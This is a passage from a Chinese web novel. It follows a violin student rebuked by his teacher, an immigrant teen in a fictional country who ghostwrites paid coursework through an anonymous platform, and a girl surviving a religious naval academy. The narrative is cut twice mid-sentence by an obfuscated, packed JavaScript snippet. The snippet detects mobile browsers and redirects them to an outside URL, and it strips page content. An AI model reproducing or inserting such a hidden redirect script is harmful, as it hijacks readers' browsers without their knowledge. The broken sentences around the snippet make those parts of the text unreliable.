这样的困顿实在太折磨人了,顾梓聿今天起得晚,也是因为昨晚在琴房练琴练到很晚,他脑中还在反复播放昨天练习时的细节,一边坐在桌前慢悠悠地吃着早餐:一袋麦奶、一只麻团、一个茶叶蛋。整个食堂已经没剩几个人,他反倒放弃了赶时间,索性破罐子破摔地细嚼慢咽起来。 胃不好,又睡得晚,早餐这顿可千万不能急,他小口咬着麻团,像是安抚自己身心的唯一方式。再说了,明年要是出国了,就吃不到这样的味道了。 等他吃完,食堂里真的只剩他一个人。他收了餐盘,仰头长吸一口气,把那份滞重的情绪压进胃里,才快步朝教学楼走去。 从食堂到教学楼有一段路,他脚下机械地迈着步,心里却还在想着自己该练的东西: 随想曲的音准还是不稳,只能靠慢练去磨。协奏曲第一乐章虽然能拉下来,但还是逃不过音准的问题。他自己听不出来,但宋熙和总能毫不留情地指出每一个细微的偏差。 “真的离谱……”顾梓聿在心里嘀咕,自己练的时候明明对着调音器一遍遍校准,那种仅偏差一两分的音高,在他耳里几乎听不出,他真的不明白为什么宋熙和的耳朵那么尖。 右手的问题也没少被批评。宋熙和一直叫停,说他每个乐句的起伏都过于刻意,渐强渐弱都太斩钉截铁了些,听着就别扭。弓尖处压力释放太早,弓根处速度又冲得太快。然而这个分寸很难把握,顾梓聿已经习惯了之前那种拉法,因此要改过来的时候,总有点矫枉过正。 这让他产生一种近乎绝望的疲惫感——练得越多,失控的地方就越多;越想做好,反而越显得生疏,可他明明已经那么努力了啊。 正这么想着,身后忽然传来一个熟悉的声音:“站住。” 顾梓聿还没回过神来,仍自往前走,那声音好像微微叹了一口气,又提高了点声量,有点怒意:“顾梓聿,我叫你站住!” 这下顾梓聿彻底清醒了,他僵在原地,头皮发炸,回头一看—— 果然,程琤站在那里,年段长也在旁边。 “程老师好,段长好。”顾梓聿赶紧低声问好,声音发虚,一股悔意从心底窜起直冲天灵盖:他今天为什么要在床上多赖那两分钟?为什么要坐下来吃早餐不打包了带走?为什么刚才不用跑的要用走的?无数个为什么一个个在他心头炸开,他的目光游移不定,唯独不敢看向程琤的眼睛。 程琤作为班主任,基本上属于是一个万事不管的甩手掌柜,他是不屑于管早读纪律这种东西的,更何况一般来说,他也不需要管,大家都很自觉。可是,刚刚才听了年段长告了顾梓聿一状,而现在,顾梓聿这家伙就落到他面前,不管一下也是太说不过去了。 “顾梓聿,这才开学没多久,你就迟到了多少次了,啊?光被我碰见就不下四五次了,你这个思想状态很不对头啊!你不要以为迟到是件小事!好的学习习惯和学习态度会影响你的一生的!哎,正好你程老师在这里,让他好好批评你几句!” 年段长一脸恨铁不成钢的表情。他是知道顾梓聿之前的成绩的,可是听说他现在状态不好,不搞竞赛了,又加上这老是迟到,真是一根好苗子白白被糟蹋了。 顾梓聿低着头,脑子一片空白,只觉得自己像被钉在原地,接受程琤犀利眼神的洗礼,尴尬、愧疚、羞耻一股脑儿涌上来,真是觉得脚下是火海、天上下刀子,连逃都不知道往哪逃。 程琤的声音响起,平静却掷地有声:“古语云,子不教,父之过,教不严,师之惰。” “你的父亲我见过,很有智慧,那看来这个教不严的责任全在我了,” 程琤句句带刺,字字扎人,没有怒气,却比责骂更让人无地自容,“是我这个做老师的不够认真,才让我的学生居然连不迟到这样分内的事都做不到;是我做老师的不够负责,才让我的学生不懂得,准时是尊重别人更是尊重自己;是我做老师的不够称职,才让我的学生觉得课堂和外边的菜市场一样来去随意,竞赛可以随着性子不参加,考试可以由着性子随便考。” “顾梓聿,是这样吗?” 一字一句,像锋利的刀刃,刮得顾梓聿冷汗涔涔:他受不住这些话。 秋日的早上,四下寂静,风吹过教学楼长廊的空旷处,很是凉爽,但顾梓聿只觉得后心泛上一阵燥意,他被这番话臊得手心都出了汗,可又无处可躲。程琤的语气不疾不徐,可顾梓聿宁愿他骂自己几句,甚至打自己几下,都比听这几句话来得好受些。 他脸上一阵阵地烧着,不是没想过找个借口推脱,可他又知道自己确实理亏,没什么可以辩解,喉咙发紧,不争气地,连眼眶都泛起了涩意。 年段长看出气氛不对,看到这孩子实在脸皮薄,也识趣地找了个借口:“去巡视其他班。”说完就匆匆离开,只留下两人站在那儿,一个低头沉默,一个目光犀利。 程琤好整以暇地看着抿着嘴眼眶微红的顾梓聿,心下一晒:他不过就刺了两句,看顾梓聿这样,倒像是被他剥了层皮似的。他平日里也懒得管这些日常琐事的人,反正年段长也走了,他也懒得再多说什么。 本来要走,但他想了想,还是多说了一句:“我知道你心思不在这里,但再怎么说,当一天和尚撞一天钟,无论是为了什么,都不能拿放弃自己当做对抗世界的方式,这不是成熟,是逃避。你既然还是这里的学生,就要按着规矩来,别搞什么特殊化,影响到别人,人家都是要考试的。” 说完,他耸耸肩准备离开,却听到了一句“......程老师,对不起”,声音低得轻易就被风吹散,几乎听不清。 那声音细细的,带着颤,像在挣扎着压住一场情绪的洪水。 这句迟来的“对不起”,是顾梓聿半年前就该说的了。 程琤听到这句抱歉倒是真的有些惊讶,他以为这小孩会像糊浆糊那样把事情糊弄过去,没想到这么久之后居然还能等来一句对不起。 他转过身,走近几步,抬手强行扶正顾梓聿低着的头,逼他直视自己的眼睛:“顾梓聿,将来的人生怎么过,是你的选择。” “我只希望,有朝一日你回头看,不会为今天的决定而后悔。” ”回去好好想想吧。“ - 索伦合众国,马萨州,波城。 十二月的波城冷得刺骨,气温骤降,连雪也悄无声息地下了起来。 那天清晨,天还没亮,方灵烨出门时只觉得头顶一凉,像有什么冰冰凉凉的东西砸了下来。他怔了一下,抬头看天,朦胧的灯光中,雪花在空中静静飘落,远处的建筑都银装素裹,披上了一层静谧的雪白。 “哦,原来下雪了啊。” 这是他人生中第一次见雪,按理说,这本应该是一个浪漫的惊喜,可惜,想象总是温柔的,现实却太不近人情。 雪,尤其是半化未化的湿滑路面,对方灵烨来说就是个噩梦。当他骑着波城的公用自行车第N次滑倒在上学路上时,他自暴自弃地觉得自己真的应该换乘城市公交系统。 然而,现实又一次让他低下了头。 如果真的换乘公共交通,他得从家里走八分钟到公交站,搭11路公交坐四站,再换乘红线地铁,坐四站,再换绿线,坐三站,再出站转公交坐两站,才能看见自己学校那个红棕色的大门。全程不算等车、堵车、下雪迟延,光路上就要四十多分钟。 而骑车,只要十七分钟。 方灵烨放弃了公交车和地铁上令人昏昏欲睡的暖气,转而选择走进风雪。在又一次险些滑倒在湿滑的路面上时,他的理智对自己说,骑自行车效率更高些,但也许内心深处他不想承认的是,面对 2.65 索伦金的地铁次票、1.6 索伦金的公交次票,和年费 20 索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317256|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伦金的自行车,他更倾向于后者。 当他骑着公用自行车上学时,刺骨的风像刀子一样削过他的脸颊和手背,把他冻得通红,他的脸颊和耳朵冻得发麻,头发结着一点雪渍,像从冰柜里拎出来似的。而当他将自行车停在离学校一个街区以外跑步上学时,这种刺骨的冰冷才会慢慢渗入骨头,最后钻进心里。 康拉德公立高中,一所堪比顶尖私校的“公立”学校,开设几十门 AP 课程,优秀的师资力量和丰富的学校资源,当然来自于丰厚的薪水和预算。作为嗷嗷待哺的公立学校,只靠地方财政的拨款是永远不够的,是谁填饱了康拉德呢? 康拉德所在的街区,在索伦都是平均房价和人均纳税额数一数二的超级富人区。公共资源在这里不是平均分配的,而是按房产税和地段来流动的。那些大宅里的人,用他们的财产喂饱了康拉德,让这所“公立学校”活得比大多数私校都体面。 这世界有所谓的阶级差别,而这样的差别并不取决于个人作出的有益的贡献的多寡,或是取决于个人的才能的高低、人品的优劣,却常常是由个人所占据的财富所决定的,不管这财富的来源如何。 在这样的街区,谁还需要骑公用自行车呢? 于是,就连公用自行车的停放点,都被悄悄地安置在一个街区之外。 方灵烨每天的课程安排,几乎都会完美地错开午餐时间。刚开始的时候他还会饿得难受,但现在他的身体已经没有什么太大的反应了:他刚刚结束了今天的课,而此时已经是下午三点半。 从早上八点到现在,他全是连堂课,连喝口水的时间都够呛。由于他的情况比较特殊,因此他的课程表也很特殊——对于一些必修的基础课程,例如历史、地理、文学,他的程度即使在经过恶补后,也只与六、七年级的学生相当,但对于代数几何他的程度已与十一年级的学生相当,不止如此,他还可以准备AP微积分和AP计算机科学。 校方在测试了他的水平后,为他安排了一个能最大化发掘潜能的日程表,但鉴于各科老师都很忙,因此,牺牲的就只能是方灵烨了。 他走进学校里的咖啡厅,走到落地玻璃窗边的一排卡座旁,随便拣了个位子坐下。 窗外白橡树的叶子在寒风中簌簌响动,不时有几片叶子打着旋飘落在地上。空气里充斥着拿铁和热巧的醇香,暖烘烘地,时不时还飘来一股纸杯蛋糕的甜蜜香气,深深吸一口,就像是被泡在粉红色软绵绵甜蜜蜜的糖罐里一样。周围的高脚桌旁,或站或坐地围着一些学生,旁若无人地高声谈笑,声音就像海浪,四面八方、此起彼伏,配上 café里正播放的《Follow You Out》,真够摇滚的,屋顶都能给掀翻了。 不过,这热闹却不是他的。方灵烨拿出昨晚睡前做的餐盒,三两口就大口吞掉了手里冰凉的三明治,抹掉唇边的蛋黄酱,收起餐盒,起身向外走去。 在康拉德,方灵烨每天都活得像个幽灵。 有语言的问题,他的索伦语还只是勉强交流的水平,能听懂,但听不快——尤其是课堂上老师一口流利的马萨口音夹杂着各种专业术语,像连珠炮似地砸过来,他经常一句话刚反应过来意思,老师已经讲到下一页了。 刚开学的时候他还努力举手发言、试着和人说话。听到他那浓重的口音和磕磕巴巴的口语,有些人会礼貌地点点头,快速结束对话;有些人则直接转过头和别人聊天;还有的,只是带着一种莫名其妙的好笑神情看着他,好像在看什么好玩的节目。 最难熬的是文学课。 那节课老师讨论的是《麦克白》,同桌是个白人男孩,叫安德鲁,穿着旧校橄榄球队的外套,一看就不是好惹的类型。那天老师点名让小组讨论“ambition and downfall”的主题,他刚开口说出“Macbeth is... eh... I think he...”就被安德鲁打断了,后者不耐烦地翻了个白眼,说:“Jesus, dude, can you even speak English?” 他低下头,脸涨得通红,一句话也没再说。 其他人没有笑,但更让他难受的是,那些目光——不说话的、偷偷看他的、假装没听见的——那种淡淡的疏离和一点点同情,好像他只是个可怜的局外人。 他能听得懂,但却不知道该怎么还击。他想说“我在学”、“我尽力了”、“别这么对我”,但脑子里空空的,什么也翻不出来。 下课后他去洗手间躲了十分钟,洗了把冷水脸,才重新走回教室。 他知道他和这些人不是一个世界的人。不是一个语言环境,不是一个社交方式,不是一个“默认起点”。但他不说话,他不抱怨。他只会在回家的晚上,在房间狭小的写字台前,一遍又一遍地看原著、做练习、听VOA听BBC,听到耳朵发麻也不关。 他告诉自己:要记住你究竟是来干什么的。你不是来被接受的,你是来抢位置的。 他不是来取悦别人的,他是来替姐姐、替自己赢得更好的生活的。 华纳商会是这些公费生的主赞助人,他们负责了方灵烨的学费和每个月固定的生活费一千索伦金。对多数学生而言,这笔补助照理来说是绰绰有余的。 不过,方灵烨的压力却与普通的学生不同。他不仅要操心自己的学业,还要为现在正待在医院占着床位等待手术的姐姐筹集到源源不断的医药费,父亲早年离世,母亲也因照护姐姐而无法工作,一家三口的生存开销如今都落在他一个人的肩上,这,可不是一件容易事。 方灵烨又干起了老本行:几天前,他在一个匿名技术论坛的子板块里留意到一个语焉不详的帖子,有人用隐晦的语气求写手,范围包括但不仅限于毕业论文、作业、实验报告等等。他通过帖子上附的超链接,意外进入了一个界面简洁、专业气息浓厚的接单平台:索伦学术网。 他粗略地浏览了一下页面,大概心里有数了,加上了网页上招聘写手的联络方式,仔细一问,薪酬还不低。平台上明确说明,申请成为写手需通过初次测试,合格后才能正式接单并获得报酬。 这不,他马上就接到了第一项任务,用Python完成一个数据可视化项目。他的负责人告诉他,这第一项任务,是不给薪酬的,只是为了检验 Xander——方灵烨给自己起的代号——的能力。 “我们需要首先评估你的能力,毕竟隔着网络,谁知道坐在对面和自己交谈的是人还是猴子呢?当然,如果你做得又快又好,我们会优先向你发布薪酬高的任务,希望我们能建立起一个长期高效的合作关系。” 试写任务的要求比他预想中的复杂。 对方要求一个包含多种交互式图表的数据可视化项目,既要用到复杂的数据清洗,又得接入外部 API 做动态更新。要命的是,时间只有两天,而方灵烨还需要正常上课。 当然没问题。虽然没学过数据可视化类的工具,但自学对方灵烨来说还不是小菜一碟,他这人硬要说有个什么天赋,那就是这些。他通宵查文档、反复调试,连饭都顾不上吃,到第二天傍晚,他终于在笔记本上跑出了一个干净漂亮、功能完整的小型可视化系统。 代码被他打包上传到平台指定的审核入口,连带着写了一份整齐的技术说明文档。他点下“提交”按钮的那一刻,长舒了一口气。 第二天早上,负责人发来一条信息:【恭喜你通过审核,已开放接单权限。欢迎你,Xander。】 紧接着,第一笔正式任务就来了——一份三千字的数据挖掘课程论文,400 索伦金,五天内交付。 他越做越熟练,写代码、跑模型、代写技术文档,仿佛进入了一个黑市学术界的地下通道。平台的任务流源源不断,他在暗网的接单空间中游刃有余,甚至学会了怎么用 AI 工具加快初稿生成,再人工润色提质。 不过,他始终心知肚明:这不是长久之计。虽然平台有完备的匿名机制,但他知道,只要有一单被查实,他和客户都可能被处理。更别说,他的“Xander”账户居然在接单榜上月度冲进了前十。 45.假神之名 张瑾妤躺在宿舍的床上,她的床头正靠着窗边,凉爽而潮湿的海风吹过窗檐,轻轻拂过她的面庞,有股淡淡的海腥味。她微闭双眼,放在身侧的双手悄然抬起,做出按弦拨弦的姿势,和着远处的海浪拍打礁石的节奏,早已烂熟在心的旋律缓缓响起。潮声阵阵,周而复始,为疲倦了一天的她带来了久违的平静。 这是一天之中唯一完完全全属于她的、可以真正放松的时间。熄灯号拉响之后,整个校区都陷入黑暗,唯有窗子边的那一小块地,洒满了清冷的月光,微亮。 她的心有一小半沉浸在浓稠的睡意里,另一半则顽强地挣扎着,想要逃离这一片静谧,去感受外面的世界。她想看看那疏朗夜空下点缀的银星,想看看那屹立在海潮之间黑黢黢的奇诡礁石,想去看看…顾梓聿他此刻在做什么。 她早已知道,自己的人生与曾经想象的方向早已渐行渐远,但她没有料到,现实会如此地不堪忍受。 她记得自己牙牙学语时,爸爸逗她,她一脸自豪地说将来要和妈妈一样,当一个音乐家,与艺术为友。生在张家这样的大家族,父亲是长子长孙,又是政界新星,颇有权势,不用为生计发愁,她自然可以以爱好为职业,音乐家,听起来又清贵又高雅,最是适合女孩子的。 况且,她那时候是真心热爱她的古筝。妈妈慕容莹作为世界知名的钢琴家,当然最开始张瑾妤学的也是钢琴。可是即便钢琴是乐器之王,几乎可以适应所有体裁所有种类的音乐,她却仍旧被古筝的铮铮然之飒逸爽气所吸引,从此,情有独钟。 然而,一场突如其来的意外,使得她们母女俩同时失去了最体贴的丈夫和最亲爱的爸爸,也失去了最可靠的庇护者。张瑾妤被迫迅速成长起来,她不能光把她们母女俩的未来寄托在祖父身上。她选择了傅尧,迅速把他发展为自己的盟友,而交换的代价是她的自由。 张家是海军世家,家族几代人都效忠于帝国的海权扩张战略。祖父张榕臻曾任帝国第一舰队总司令,在多次帝国海战中立下赫赫战功,虽然现在仍是十大元帅之首,但已经退下来很多年了,这个头衔名头很大,但也不过就是个荣誉称号。而二叔张廷晖,虽然仅是准将军衔,但手里却有着真正可供调动的兵力。 张廷晖是世俗派,他一直很排斥教廷势力在海军中的扩张,但这就是现状,帝国是由皇室和神圣教廷共治的,即使二叔再排斥,他也不能改变教廷的的势力遍布全海军的事实。 她深知,要在这场权力的博弈中占有一席之地,必须靠自己。彭浪士官学校的毕业生遍布帝国海军高层、圣骑军及各大舰队指挥部,她决心通过在军校的表现,拉拢那些神权忠诚派——敌人的敌人,就是朋友。而且,这不仅是为了积累话语权,更是为了将来能够辅佐傅尧,成为他最坚实的后盾。 张瑾妤从未动摇过,她是张榕臻的孙女,是傅尧未来的左膀右臂。她比任何人都清楚自己要走的路,甚至为了这个未来,她甘愿放弃眼前所有看似美好的可能。 她在做一场豪赌。 她赌自己能在这座封闭的堡垒里不被吞噬,赌自己能在这片严苛的土地上扎根生长,赌自己最终能成为傅尧最锋利的一把刀。 信仰是枷锁,但也可以成为她通向未来的通行证。 咸腥的海风,拂过东海深处的彭浪岛。晨钟敲响的那一刻,整座军校仿佛一只沉睡的巨兽猛然苏醒。港口远处的战舰缓缓调头,桅杆上的旗帜猎猎作响,岛屿笼罩在厚重的海雾中,预示着一场神圣的仪式即将开始。 新生入学的第一天,也是宣誓的日子。张瑾妤站在整齐的队列中,身着崭新的深蓝制服,低马尾扎得一丝不苟。演武场上,一名神官站在灰白色的石台上,身披白色祭袍,手捧《圣光原典》,没有话筒,但他的声音依然穿透力十足,盖过了呼啸的海风和远处的浪潮声: “今日,尔等将宣誓,忠于帝国,忠于神圣教廷。违誓者,信仰将审判汝身。” 两百名新生齐声跪下,右手按在胸前的圣徽上,神色肃然: “我将效忠帝国,信仰吾主; 以吾身为刃,吾意为盾; 吾愿以生命奉献,永不背弃。” 张瑾妤跪得标准而虔诚,手掌紧压在心口的圣徽上,感受着那枚冰冷金属渗入掌心的寒意。 她微微低头,目光定在地面,誓言从口中流出时,空洞而无情。她知道,这一生,她所说的谎言中,这句将成为最沉重的一句—— “吾愿以生命奉献,永不背弃。” 但不是为帝国,也不是为信仰,她只是为她自己。 誓词结束,神官宣告:“从此刻起,尔等将不再是平民,而是帝国之利刃。” 张瑾妤缓缓起身,纵使她之前对于“士官学校”有再多的想象,等真到了实地,也才知道想象就是想象——新入学的这一批,全建制200人,女生只招了7个人,这种性别比例几乎可以用“稀有”来形容,但这并不意味着她们会被特殊对待。相反,作为女生,她们常常会面临更加严苛的要求,甚至比男生还要严格。 新兵训练,被称为“地狱月”。三个月的时间,每天清晨五点起床,五点半集合,迟一分钟就要全班连坐,负重加倍。7个女生永远站在第一排,教官的指令从不因性别有所宽容,反而有时因为“女生”这个身份,要求更为苛刻,责骂也更为尖锐。 而训练的真正目的是通过长时间、高强度的体能训练来统一学员们的大脑,迫使每一个学员将自己的思想与身体完全服从于命令。当人累到无暇分神、无法思考时,服从就成了唯一的选择,训练的基本目的也就算达到了。 张瑾妤终于明白,为什么自己的父亲明明出身于海军世家,有着旁人都难以企及的优越的背景,却那么厌恶军队的体制,选择了做文官。他是那样一个向往自由的人,他懂得欣赏任何因反叛规矩而热烈生长的事物,显然,军队并不适合他。 张瑾妤继承了一半他的基因,而来自母亲的另一半则更加自由纯粹,这样的她,在这里苦苦熬过的每一天,都带着与自己斗争的心,苦苦支撑: 每天清晨五点起床,按规定整理内务——把被子叠成豆腐块已经不易,然而检查时,白手套摸到床下的每一处凹槽,她才明白自己总是差一点点标准;十公里负重越野跑——之前她最多也只跑过一千米;20个俯卧撑,还是针对女生已经减少了分量的——但她几乎从未做过这项训练;出宿舍都要打报告——可以,不就是多说句话的功夫吗;军姿两小时、踢腿两小时——好嘛,这两条腿已经不是自己的了;晚上了,洗完白天汗湿的训练服终于可以躺在床上睡觉了,不,紧急集合铃突然拉响,只能慌慌张张地跳下床套上还湿漉漉的衣服——这时候,反倒是那些懒虫得了先机。 但她没有退路,唯一的选择就是坚忍不拔地撑下去。 七个女生被分在了同一间宿舍,除了张瑾妤,全部是出身虔诚教徒家庭的女孩。寝室内整洁肃穆,每个角落都装饰有圣徽、圣言或描绘神迹的图画,空气里隐隐残留着香烛味。 诺维娅坐在书桌边,翻阅着《圣光原典》,笑容温婉,目光却带着一丝淡淡的审视:“你今天课后没来祷告。” 她的语气里夹带着一种无声的指责,无形的压迫令张瑾妤透不过气来。 诺维娅是宿舍长,一个出身南方贵族的虔诚信徒。她的家族三代都为教廷效力,父母都是高层神职人员,诺维娅是家里最小的女儿,而她的六个哥哥姐姐,无一例外,都在教廷内担任要职。她天生便以教义为准绳,信仰对她来说,是全身心的寄托。 “我训练时受伤了,去了医务室。”张瑾妤淡淡回答,声音冷静且平稳。 诺维娅并没有追问更多,温和的笑容依旧挂在她脸上,她递给张瑾妤一张宣传单,纸上写着“心灵净化讲座”。 “你知道的,祷告是不可或缺的,你可以请假,事后再补上。主会宽恕你,祂会清除你心中的迷雾。”诺维娅的语气依旧温和,却透着一股不容置疑的意味,“我们都需要向主袒露灵魂的罪,因为主爱世人。” 张瑾妤接过宣传单,轻轻点头表示感谢。她深知,在这里,任何脱离轨道的行为都会被迅速纠正。 晨祷晚祝、圣言背诵、圣诗吟唱、忏悔赎罪,这些仪式已然成了她日常的一部分。它们表面看似温和,实则无处不在地强制要求着她的顺从。任何一丝差错,都有可能导致她被要求去小教堂“赎罪反省”。在秩序和规则的夹缝里,她学会了如何配合,眼神平和,声音温柔,低眉顺眼地说出那些她根本不信的词句。 嗨。张瑾妤躺在床上,闭着眼睛嘴角却翘起:生活的意义不就在于忍受吗。 她知道,在这座封闭的、严酷的堡垒里,忍耐和适应是唯一的生存法则。她不禁想,会不会有一天,她真的被这座学校磨平了锋芒? “你们不能吞掉我。” “我会在你们给的规则里,活出属于我的方式。” “我会赢。” 她翻了个身,手伸到枕头底下,那里有一支修长的钢笔。指尖轻轻抚摸着那支笔身上凹凸不平的痕迹,带着一种微妙的安心感,她进入了梦乡。 地狱月转瞬即逝,日复一日的训练让张瑾妤不仅逐渐适应了这座岛屿的节奏,还一一认清了这届200名新生,能够把名字、大概信息和人脸对上号。 这一天,张瑾妤像往常一样,早早地出现在食堂,拿起属于自己的那份简餐。她今天的心情略显沉重:尽管昨晚的体能训练将她逼到了极限,肌肉酸痛,睡眠不足,但她更担心的是今天的“忠诚评估”。 所有新生必须参加这个由神圣教廷精心设计的测评,目的是评估学员对帝国海军的忠诚度以及对神圣信仰的坚定程度。这个评估关乎每个人的未来,合格的学员将享有更多资源与支持,而“忠诚度低”的学员则有可能面临转学甚至开除的风险。张瑾妤清楚,这不是一场简单的测试,她必须谨慎应对。 问卷发放的那一刻,张瑾妤迅速扫了一眼,每道问题都被精心设计,所有的问题背后都充满了刺探:对帝国的忠诚,对神圣信仰的服从,甚至对家庭和亲人的爱是否可以在国家意志面前屈服。她的心跳稍微加速,紧握的笔尖指向了第一题。 所有问题,她都选择了符合“理想答案”的选项:服从、服从、无条件的服从。 然而,问卷提交后,张瑾妤却有些不安,她本能地觉得,有一个问题,她的答案并不完美。 午餐过后,张瑾妤在走廊上与诺维娅不期而遇,她们一同走回宿舍。这些天,在张瑾妤的刻意笼络下,她们之间已经很熟络了,常在训练后的疲惫时刻聊聊天。 “瑾妤,你在填问卷的时候感觉如何?”诺维娅突然问道,语气中带着一点探究的意味。 张瑾妤心一紧,脸上却淡淡的笑了笑:“嗯,没什么特别的,你呢?” 诺维娅若有所思:“我其实挺紧张的,有个问题,你没觉得很奇怪吗?’如果有一天,你被命令违背自己的信仰,甚至亲手摧毁自己的家庭,你会选择如何行动?’” 张瑾妤心中一震,她记得那个问题,自己当时毫不犹豫地选择了“服从命令”。她低声答道:“当然,我会无条件地服从。” 诺维娅却皱起了眉头:“你确定你能做到吗?服从命令,那就是牺牲自己的亲人,甚至背弃了自己的信仰,难道你真能做到吗?怎么能让我们在服从命令和违背信仰间选择呢?这简直就是背叛......” 张瑾妤心中一沉,她突然意识到,自己搞砸了,正因为自己不像诺维娅他们那样虔诚,面对这个问题,她才会下意识地选择了“服从命令”,她以为这是最顺从的选择,但这是对信仰的背叛,这不是一个虔诚的信徒能做出来的选择。 这道题的权重有多少?在计算总分的时候,这个问题会不会立刻把她判定为不够忠诚? 张瑾妤身体微微发冷,她低下头,强迫自己: 保持镇静,深呼吸,放松,不要为还未发生的事提前恐慌。 当教官分发测试结果的时候,他递给张瑾妤她的报告单,严肃的脸庞上有一丝细微的微笑:“祝贺你通过测试,愿信仰永不熄灭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330365|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张瑾妤轻声答道:“愿神明指引方向。” 她不禁要笑出声来,感谢祂的保佑,她扮演得太好,甚至连评估系统都没能真正识破她。 目前为止,她赢了。 接下来的日子,时间被排得满满的,第一学年的课程都还比较基础,更多的课时用来强化信仰、军纪和身体素质训练,灌输忠诚、服从和身份认同的意识。基础体能训练、徒手格斗、海上生存技能令张瑾妤头疼不已,但除此之外,海图识读、气象学、舰艇构造学、帝国海战史概览、初级战术图解等航海学科的课程,却令她感到一丝别样的趣味。 - 同一片星空下,却是不同的夜晚。自从上次被程琤抓了个正着,那番话像是针一样扎进了顾梓聿的心里,深深地勾起了他心底的愧疚,他真是再也不敢迟到了。不仅如此,原来一直游离于班级同学之外的他,终于开始鼓起勇气,融入集体。 本来他想的是,不到一年就要走了,何必要投入感情?日常相处之间自然就淡淡的,省得到时候走的时候心里过意不去。旁人看他一脸冷淡的样子,还以为是这人本来就性格孤僻不喜交际,自然也不会去刻意靠近。 没想到,程琤一番话居然解开了顾梓聿的心结,他想着,当一天和尚撞一天钟也是好的呀,于是,有一天当前座转过来问他同桌张铎一道物理题、而张铎没有头绪的时候,顾梓聿自然而然地拿起笔,在草稿纸上演算起来。 这下可好,不出两天,一班原先不认识顾梓聿的同学基本上就都知道自己班真的有一个隐藏的很深的超级学神,当然这也要多亏了顾梓聿初中同学无意中透露出的信息。 女生们都还比较矜持,有问题都内部解决,或者跑去问老师。而班里的男生们则更加厚脸皮,明明自己也算是个学霸,倒是放得下身段,一有解不出来没思路的题就跑去问“顾神”,更有甚者,自己已经提前在学大物的内容了,还敢跑过来问问题。 顾神厉害在哪?竞赛题课标题两手都硬、数物化生两手都抓!讲的还浅显易懂,也不像老师时不时朝你投掷一个“神之藐视”的技能,问谁不是问啊,当然选顾神啊! 课间时间当然有限,晚自习又不许大家交头接耳,问不完的问题怎么办?这些家伙倒是想的出来,硬让顾梓聿在宿舍里开个小讲堂,晚上九点半晚自习下课,这些人就一窝蜂地抓了书包就拉着顾梓聿跑,跑回宿舍来开小灶。 顾梓聿一开始还是抱着与人为善的心态,可到后来渐渐地有些烦了,毕竟,给别人讲题可不比自己做题,要把自己大脑里的东西完完整整地塞进别人的大脑真不是一件容易的事。可是这些人那叫一个懂事啊,一口一个“顾神”叫着,下课时有人主动去帮忙打水,赶着去广播室时有人替他买饭,晚上开小灶之前,还会特地从食堂里带来热腾腾的夜宵。 好嘛!顾梓聿坐在桌边,翘着二郎腿,吃着热乎乎的馄饨,惬意极了:“有什么问题,尽管提。” 一群乌压压的脑袋抬起来,十几个男生干脆就坐在地上,七嘴八舌地讲起了自己的问题,男孩们互相解答又互相鄙视,尽管彼此间是竞争对手,可同时也是最好的战友。 “顾神,你讲的可比 ‘no problem’ 好太多了!”吴豪由衷地赞叹道。他在物竞校队上课,“no problem”是大家给竞赛队带队老师刘老师起的外号。大家听到了都一起心知肚明地叹气:他们这届运气不好,金牌教练去带上一届了,轮到他们摊上这个倒霉的刘老师。 这位刘老师上起课来总是一副不紧不慢的样子,发完卷子后自己题都不写,讲评时就拿着参考答案讲。每当同学们有问题,他回答的口头禅就是“no problem”,但每次解答的内容都只是照搬参考答案,毫无实质性的帮助。 你问他:“刘老师,为什么我这样想、这样解题就是错的呢?”,刘老师就会慢条斯理地回答:“因为你没有按照答案的这个思路来。”你又问:“那为什么我这个思路就不可以呢?”刘老师继续慢条斯理地说:“因为答案的思路才是对的。” 好,如果你到这里还没有吐血、还抱有希望继续问:“可是老师,我还是没有理解,为什么…”刘老师会立即打断你,然后一脸可惜地说:“你不理解那我也没有办法,因为我已经把思路讲给你听了,这样吧,你回去自己好好琢磨,真不行再来问我,好吗?No problem。” 顾梓聿倒是没听过这位老师的大名,但也不想说别人坏话,只是笑着回应:“可能是我的思路跟大家比较接近,所以好理解吧。” 众人听了也都明白顾梓聿不想惹事的心态。 其实学生们都心知肚明,物理竞赛一向是本校的强项,每年省赛、国赛都会夺牌的。而刘老师的来头大家心里也清楚,校方派他带队,恐怕目的根本不在于以老师带学生,而是以学生带老师,将来他手下出了几个奖牌,那功劳还不全算在他身上,这样会有多少随之而来的奖励利益,恐怕也不是他们学生可以置喙的。 东边日出西边雨,顾梓聿在学校慢慢的得到了众人的认可和拥戴,可在校外,他却是一只受气的鹌鹑样。宋熙和之前指出他在乐曲上的问题,顾梓聿改得太过用力,想往宋熙和的那个方向靠拢,却把自己原来的风格都改没了,就如同邯郸学步,最终反而成了四不像。 宋熙和逐渐失去了耐心,也因为他本来对顾梓聿寄予了厚望,结果这么一个小问题能卡这么久,实在是让他生气。他没有意识到这有可能是顾梓聿演奏生涯的瓶颈时刻,反倒认为是因为顾梓聿在琴以外花了太多心思、转移了注意力,于是直接黑脸、大骂一通——反正顾梓聿早就见识过了他的真面目,被骂也就没有什么意外的了,他虚心接受,并没有往心里去。 